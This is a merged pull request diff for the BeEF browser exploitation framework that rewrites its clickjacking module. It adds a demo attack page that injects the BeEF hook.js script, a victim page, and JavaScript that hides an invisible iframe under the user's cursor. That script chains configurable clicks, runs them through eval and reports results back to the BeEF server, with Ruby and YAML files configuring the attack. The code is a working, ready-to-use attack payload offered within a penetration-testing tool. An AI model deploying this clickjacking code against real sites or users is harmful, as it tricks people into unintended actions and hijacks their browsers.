Merge pull request #743 from webstersprodigy/improved-clickjacking

Improved clickjacking
This commit is contained in:
Brendan Coles
2012-09-10 23:02:14 -07:00
6 changed files with 367 additions and 95 deletions

View File

@@ -1,4 +0,0 @@
<p>&nbsp;</p>
<a href="#" onclick="javascript:alert('You clicked a link at '+window.location);">moooooooo</a>
<p>&nbsp;</p>

View File

@@ -0,0 +1,173 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
<title>You have been p0wned</title>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script src="http://cdn.jquerytools.org/1.2.7/all/jquery.tools.min.js"></script>
<style type="text/css">
body{
color:#fff;
font-family:'Neuton', georgia, serif;
background-color:#999;
width:100%;
height:100%;
}
.quotes{
width:100%;
height:100%;
text-align:center;
margin:50px 0;
}
.quotes .inner{
width:700px;
margin:0 auto;
}
.inner h1{
font-variant:small-caps;
color:#333;
font-size:30px;
text-shadow:0 0 2px #2D58C4;
width:361px;
height:58px;
margin:0 auto 30px;
background-repeat:no-repeat;
}
.inner .text {
line-height:48px;
font-size:42px;
}
.inner .more-quotes{
display:inline-block;
width:200px;
background:#09C;
color:#fff;
height:30px;
line-height:30px;
-webkit-border-radius:5px;
-moz-border-radius:5px;
border-radius5px;
border:1p solid #999;
text-decoration:none;
margin-top:40px;
}
.inner .footnote{
padding:5px 0;
}
.inner .footnote > a{
/*
display:inline-block;
width:100px;
background:#09C;
color:#fff;
height:30px;
line-height:30px;
-webkit-border-radius:5px;
-moz-border-radius:5px;
border-radius5px;
border:1p solid #999;
text-decoration:none;
*/
display:none;
margin-top:5px;
}
.inner .footnote > span{
/*display:none;*/
}
.click-thru{
color:#333;
display:none;
width:400px;
border:10px solid #666;
border:10px solid rgba(82, 82, 82, 0.698);
-moz-border-radius:8px;
-webkit-border-radius:8px;
z-index:10000;
}
.click-thru div{
padding:10px;
border:1px solid #3B5998;
background-color:#fff;
}
.click-thru h2{
margin:-11px;
margin-bottom:0px;
color:#fff;
background-color:#6D84B4;
padding:5px 10px;
border:1px solid #3B5998;
font-size:20px;
}
</style>
</head>
<body>
<!-- BeEF hook call -->
<script type="text/javascript">
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
<div class="wrapper">
<div class="quotes">
<div class="inner">
<h1>Name That Quote</h1>
<div class="text">You are a sad strange little man, and you have my pity.</div>
<div class="footnote">
<a href="javascript:void(0)">Who said it?</a>
<span>Buzz Lightyear, Toy Story</span>
</div>
<a href="javascript:void(0)" class="more-quotes">Another Quote</a>
</div>
</div>
</div>
<!-- BEGIN: Overlay on Page Load -->
<div class="click-thru" id="overlay1">
<div>
<h2>Click-thru</h2>
<p>You must click here to get to the page.</p>
<a href="javascript:void(0)" class="close">Okay</a>
<a href="javascript:void(0)" style="display:inline-block;margin-left:10px;" class="close">No Thanks</a>
</div>
</div>
<!-- END: Overlay on Page Load -->
<script type="text/javascript">
$(document).ready(function(){
var quotes = [];
quotes[0] = {title: "Sometimes you gotta crack a few eggs to make an omelet.", footnote: "Charlie, It's Always Sunny In Philadelphia"};
quotes[1] = {title: "Cats do not abide by the laws of nature.", footnote: "Charlie, It's Always Sunny In Philadelphia"};
quotes[2] = {title: "We're gonna go America all over their asses!", footnote: "Charlie, It's Always Sunny In Philadelphia"};
quotes[3] = {title: "You're about as much use as a condom machine in the Vatican.", footnote: "Rimmer, Red Dwarf"}
quotes[4] = {title: "He may look like an idiot and talk like an idiot but don't let that fool you. He really is an idiot.", footnote: "Groucho Marx as Rufus T. Firefly, Duck Soup"}
quotes[5] = {title: "You are a sad strange little man, and you have my pity.", footnote: "Buzz Lightyear, Toy Story"}
$(".more-quotes").live("click", function(){
var random = Math.floor(Math.random()*(quotes.length));
$(".text").html(quotes[random].title);
$(".footnote > span").html(quotes[random].footnote).show();
$(".footnote > a").hide();
});
$(".footnote > a").live("click", function(){
$(this).hide();
$(".footnote > span").show()
});
// select the overlay element - and "make it an overlay"
$("#overlay1").overlay({
top:200,
mask:{
color:'#000',
loadSpeed:200,
opacity:0.5
},
closeOnClick:false,
load:true
});
});
</script>
</body>
</html>

View File

@@ -0,0 +1,9 @@
<html>
<body bgcolor="red">
<p>&nbsp;</p>
<a href="#click1" onclick="javascript:alert('You clicked link1 at '+window.location);">moooooooo</a>
<p>&nbsp;</p>
<a href="#click2" onclick="javascript:alert('You clicked link2 at '+window.location);">moooooooo</a>
</body>
</html>

View File

@@ -1,6 +1,4 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
@@ -14,79 +12,135 @@
// limitations under the License.
//
beef.execute(function() {
var offset_top = "<%= @offset_top %>";
var offset_left = "<%= @offset_left %>";
var url = "<%= @url %>";
var debug = <%= @debug %>;
if (debug) opacity = 10; else opacity = 0;
// create container
var cjcontainer = document.createElement('div');
cjcontainer.id = "cjcontainer";
cjcontainer.setAttribute("style", "-moz-opacity:"+opacity);
cjcontainer.style.zIndex = 999;
cjcontainer.style.border = "none";
cjcontainer.style.width = "30px";
cjcontainer.style.height = "20px";
cjcontainer.style.overflow = "hidden";
cjcontainer.style.position = "absolute";
cjcontainer.style.opacity = opacity;
cjcontainer.style.filter = "alpha(opacity="+opacity+")";
cjcontainer.style.cursor = "default";
document.body.appendChild(cjcontainer);
// create iframe
var cjiframe = document.createElement('iframe');
cjiframe.id = "cjiframe";
cjiframe.src = url;
cjiframe.scrolling = "no";
cjiframe.frameBorder = "0";
cjiframe.allowTransparency = "true";
cjiframe.style.overflow = "hidden";
cjiframe.style.position = "absolute";
cjiframe.style.top = offset_top+"px";
cjiframe.style.left = offset_left+"px";
cjiframe.style.width = "200px";
cjiframe.style.height = "100px";
cjiframe.style.border = "none";
cjiframe.style.cursor = "default";
cjcontainer.appendChild(cjiframe);
// followmouse code by rsnake
// http://ha.ckers.org/weird/followmouse.html
// modified by bcoles
function followmouse(e){
var xcoord = 0;
var ycoord = 0;
var gettrailobj = function() {
if (document.getElementById)
return document.getElementById("cjcontainer").style;
else if (document.all)
return document.all.container.style;
}
if (typeof e != "undefined") {
xcoord += e.pageX - 10;
ycoord += e.pageY - 15;
} else if (typeof window.event != "undefined") {
xcoord += document.body.scrollLeft + event.clientX;
ycoord += document.body.scrollTop + event.clientY;
}
var docwidth = document.all ? document.body.scrollLeft + document.body.clientWidth : pageXOffset+window.innerWidth - 15;
var docheight = document.all ? Math.max(document.body.scrollHeight, document.body.clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight)
gettrailobj().left = xcoord + "px";
gettrailobj().top = ycoord + "px";
var elems = {
outerFrame: "cjFrame",
innerFrame: "innerFrame",
btn: "persistentFocusBtn"
}
// hook to mousemove event
if (window.addEventListener) {
window.addEventListener('mousemove', followmouse, false);
} else if (window.attachEvent) {
window.attachEvent('mousemove', followmouse);
var clicked = 0;
var src = "<%= @iFrameSrc %>";
var secZone = "<%= @iFrameSecurityZone %>";
var sandbox = "<%= @iFrameSandbox %>";
var visibility = "<%= @iFrameVisibility %>";
var clicks = [
{js:"<%= URI.escape(@clickaction_1) %>", posTop:cleanPos("<%= @iFrameTop_1 %>"), posLeft:cleanPos("<%= @iFrameLeft_1 %>")},
{js:"<%= URI.escape(@clickaction_2) %>", posTop:cleanPos("<%= @iFrameTop_2 %>"), posLeft:cleanPos("<%= @iFrameLeft_2 %>")},
{js:"<%= URI.escape(@clickaction_3) %>", posTop:cleanPos("<%= @iFrameTop_3 %>"), posLeft:cleanPos("<%= @iFrameLeft_3 %>")},
{js:"<%= URI.escape(@clickaction_4) %>", posTop:cleanPos("<%= @iFrameTop_4 %>"), posLeft:cleanPos("<%= @iFrameLeft_4 %>")},
{js:"<%= URI.escape(@clickaction_5) %>", posTop:cleanPos("<%= @iFrameTop_5 %>"), posLeft:cleanPos("<%= @iFrameLeft_5 %>")},
{js:"<%= URI.escape(@clickaction_6) %>", posTop:cleanPos("<%= @iFrameTop_6 %>"), posLeft:cleanPos("<%= @iFrameLeft_6 %>")},
{js:"<%= URI.escape(@clickaction_7) %>", posTop:cleanPos("<%= @iFrameTop_7 %>"), posLeft:cleanPos("<%= @iFrameLeft_7 %>")},
{js:"<%= URI.escape(@clickaction_8) %>", posTop:cleanPos("<%= @iFrameTop_8 %>"), posLeft:cleanPos("<%= @iFrameLeft_8 %>")},
{js:"void(0);", posTop:'-', posLeft:'-'}
]
var iframeAttrs = {};
iframeAttrs.src = src;
(secZone == "on") ? iframeAttrs.security = "restricted" : "";
(sandbox == "on") ? iframeAttrs.sandbox = "allow-forms" : "";
var iframeStyles = {};
iframeStyles.width = "<%= @iFrameWidth %>px";
iframeStyles.height = "<%= @iFrameHeight %>px";
iframeStyles.opacity = (visibility == "on") ? "0.6" : "0.0";
iframeStyles.filter = (visibility == "on") ? "alpha(opacity=60)" : "alpha(opacity=0)";
var innerPos = {};
//initialize iframe
innerPos.top = clicks[0].posTop + "px";
innerPos.left = clicks[0].posLeft + "px";
//returns a negative version of a number, or if NaN returns a dash
function cleanPos(coordinate) {
var iCoordinate = parseInt(coordinate);
if (isNaN(iCoordinate))
return "-";
else if (iCoordinate > 0)
return (-1 * iCoordinate)
return iCoordinate
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'clickjack=hooked mousemove event');
function init(params, styles, stylesInner, callback) {
var container = $j.extend(true, {'border':'none', 'position':'absolute', 'z-index':'100000', 'overflow':'hidden'}, styles);
var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner);
var containerDiv = $j('<div id="' + elems.outerFrame + '"></div>').css(container).prependTo('body');
var containerDiv = $j('<input id="' + elems.btn + '" type="button" value="invisible" style="width:1px;height:1px;opacity:0;alpha(opacity=0)" />').appendTo('body');
var innerIframe = $j('<iframe id="' + elems.innerFrame + '" scrolling="no" />').attr(params).css(inner).load(callback).prependTo('#' + elems.outerFrame);
return containerDiv;
}
function step1(){
var btnSelector = "#" + elems.btn;
var outerSelector = "#" + elems.outerFrame;
var btnObj = $(btnSelector);
var outerObj = $(outerSelector);
$(window).mousemove(function(e) {
$(outerObj).css('top', e.pageY);
$(outerObj).css('left', e.pageX);
});
$(btnObj).focus();
$(btnObj).focusout(function() {
cjLog("Iframe clicked");
iframeClicked();
});
}
function iframeClicked(){
clicked++;
var jsfunc = '';
jsfunc = clicks[clicked-1].js;
innerPos.top = clicks[clicked].posTop;
innerPos.left = clicks[clicked].posLeft;
eval(unescape(jsfunc));
setTimeout(function(){
updateIframePosition();
}, <%= @clickDelay %>);
setTimeout(function(){
var btnSelector = "#" + elems.btn;
var btnObj = $(btnSelector);
$(btnObj).focus();
//check if there are any more actions to perform
try {
if (isNaN(parseInt(clicks[clicked].posTop))) {
removeAll(elems);
throw "No more clicks.";
}
} catch(e) {
cjLog(e);
}
}, 200);
}
function updateIframePosition(){
var innerSelector = "#" + elems.innerFrame;
var innerObj = $(innerSelector);
$(innerObj).css('top', innerPos.top + 'px');
$(innerObj).css('left', innerPos.left + 'px');
}
//Remove outerFrame and persistent button
function removeAll(){
$("#" + elems.outerFrame).remove();
$("#" + elems.btn).remove();
}
function cjLog(msg){
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + msg);
}
init(iframeAttrs, iframeStyles, innerPos,
function() {
step1();
cjLog("Iframe successfully created.");
}
);
});

View File

@@ -1,6 +1,4 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
@@ -13,15 +11,14 @@
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
clickjacking:
enable: true
category: "Social Engineering"
name: "Clickjacking"
description: "This module serves as a template for clickjacking attacks.<br />Simply specify the target URL and the offset (in pixels) for the iframe content. The iframe will follow the mouse cursor.<br />Debug mode creates a visible iframe for testing purposes."
authors: ["bcoles"]
description: "Allows you to perform basic multi-click clickjacking. The iframe follows the mouse, so anywhere the user clicks on the page will be over x-pos,y-pos. The optional JS configuration values specify local Javascript to exectute when a user clicks, allowing the page can give visual feedback. The attack stops when y-pos is set to a non-numeric values (e.g. a dash). <br /><br />For a demo, visit /demos/clickjacking/clickjack_attack.html with the default settings (based on browser they may have to be adjusted)."
authors: ["Brigette Lundeen", "Rich Lundeen"]
target:
user_notify: ["FF", "C"]
not_working: ["IE"]
user_notify: ["FF", "C", "IE"]

View File

@@ -1,5 +1,4 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -16,20 +15,64 @@
class Clickjacking < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/clickjack.html"
uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/clickjacking/clickjack_victim.html"
return [
{ 'name' => 'url', 'description' => 'Target URL', 'ui_label' => 'Target URL', 'value' => uri, 'width'=>'400px' },
{ 'name' => 'offset_top', 'description' => 'Offset Top (in pixels)', 'ui_label' => 'Offset Top (px)', 'value' => '-40', 'width'=>'150px' },
{ 'name' => 'offset_left', 'description' => 'Offset Left (in pixels)', 'ui_label' => 'Offset Left (px)', 'value' => '-10', 'width'=>'150px' },
{ 'name' => 'debug', 'type' => 'combobox', 'ui_label' => 'Debug Mode', 'store_type' => 'arraystore', 'store_fields' => ['debug'], 'store_data' => [['true'],['false']], 'valueField' => 'debug', 'value' => 'false', editable: false, 'displayField' => 'debug', 'mode' => 'local', 'autoWidth' => true }
]
{'name' => 'iFrameSrc', 'ui_label'=>'iFrame Src', 'type' => 'textarea', 'value' => uri, 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameSecurityZone', 'ui_label' => 'Security restricted (IE)', 'type' => 'checkbox' },
{'name' => 'iFrameSandbox', 'ui_label' => 'Sandbox', 'type' => 'checkbox' },
{'name' => 'iFrameVisibility', 'ui_label' => 'Show Attack', 'type' => 'checkbox', 'checked' => 'checked' },
{'name' => 'clickDelay', 'ui_label' => 'Click Delay (ms)', 'value' => '300', 'width' => '100px' },
{'name' => 'iFrameWidth', 'ui_label' => 'iFrame Width', 'value' => '16', 'width' => '100px' },
{'name' => 'iFrameHeight', 'ui_label' => 'iFrame Height', 'value' => '10', 'width' => '100px' },
{'name' => 'Click_1', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 1' },
{'name' => 'clickaction_1', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'$("#overlay1").data("overlay").close();', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_1', 'ui_label' => 'X-pos', 'value' => '20', 'width'=>'100px' },
{'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '50', 'width'=>'100px' },
{'name' => 'Click_2', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 2' },
{'name' => 'clickaction_2', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'$(".more-quotes").trigger("click");', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_2', 'ui_label' => 'X-pos', 'value' => '20', 'width'=>'100px' },
{'name' => 'iFrameTop_2', 'ui_label' => 'Y-pos', 'value' => '123', 'width'=>'100px' },
{'name' => 'Click_3', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 3' },
{'name' => 'clickaction_3', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_3', 'ui_label' => 'X-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'iFrameTop_3', 'ui_label' => 'Y-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'Click_4', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 4' },
{'name' => 'clickaction_4', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_4', 'ui_label' => 'X-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'iFrameTop_4', 'ui_label' => 'Y-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'Click_5', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 5' },
{'name' => 'clickaction_5', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_5', 'ui_label' => 'X-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'iFrameTop_5', 'ui_label' => 'Y-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'Click_6', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 5' },
{'name' => 'clickaction_6', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_6', 'ui_label' => 'X-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'iFrameTop_6', 'ui_label' => 'Y-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'Click_7', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 7' },
{'name' => 'clickaction_7', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_7', 'ui_label' => 'X-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'iFrameTop_7', 'ui_label' => 'Y-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'Click_8', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 8' },
{'name' => 'clickaction_8', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},
{'name' => 'iFrameLeft_8', 'ui_label' => 'X-pos', 'value' => '-', 'width'=>'100px' },
{'name' => 'iFrameTop_8', 'ui_label' => 'Y-pos', 'value' => '-', 'width'=>'100px' }
]
end
def post_execute
content = {}
content['clickjack'] = @datastore['clickjack']
save content
save({'clickjack' => @datastore['clickjack']})
end
end